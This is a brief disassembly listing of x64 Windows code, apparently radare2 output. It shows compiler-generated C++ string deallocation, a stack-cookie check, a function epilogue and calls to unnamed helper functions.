cmp rdx, 0x1000
jb 0x140018938
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140018938
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14001f0bc
mov qword [rbp + 8], 0
mov qword [rbp + 0x10], 0xf
mov byte [rbp - 8], 0
mov rdx, qword [rbp + 0x50]
cmp rdx, 0x10
jb 0x14001898f
inc rdx
mov rcx, qword [rbp + 0x38]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001898a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14001898a
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14001f0bc
mov r12, qword [rsp + 0x48]
mov rax, r12
mov rcx, qword [rbp + 0x88]
xor rcx, rsp
call fcn.14001f060
lea r11, [rsp + 0x190]
mov rbx, qword [r11 + 0x38]
mov rsi, qword [r11 + 0x40]
mov rdi, qword [r11 + 0x48]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
call fcn.140001940
nop
call fcn.140001940
int3
call fcn.1400018a0
nop
call fcn.140001940
int3
call fcn.1400018a0
nop
call fcn.140001940
int3
call fcn.1400018a0
int3
call fcn.140001940
int3